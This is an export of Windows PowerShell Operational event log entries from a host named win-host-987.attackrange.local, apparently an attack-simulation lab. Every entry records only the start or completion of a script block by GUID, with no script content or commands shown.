ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035394
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035393
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035392
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035391
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035390
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035389
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035388
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035387
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035386
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035385
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035384
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035383
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035382
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035381
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035380
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035379
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035378
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035377
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035376
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035375
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035374
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035373
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035372
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035371
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035370
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035369
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035368
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035367
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035366
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035365
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035364
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035363
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035362
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035361
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035360
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035359
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035358
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035357
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035356
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035355
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035354
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035353
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035352
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035351
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035350
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035349
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035348
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035347
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035346
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035345
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035344
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035343
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035342
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035341
Keywords=None
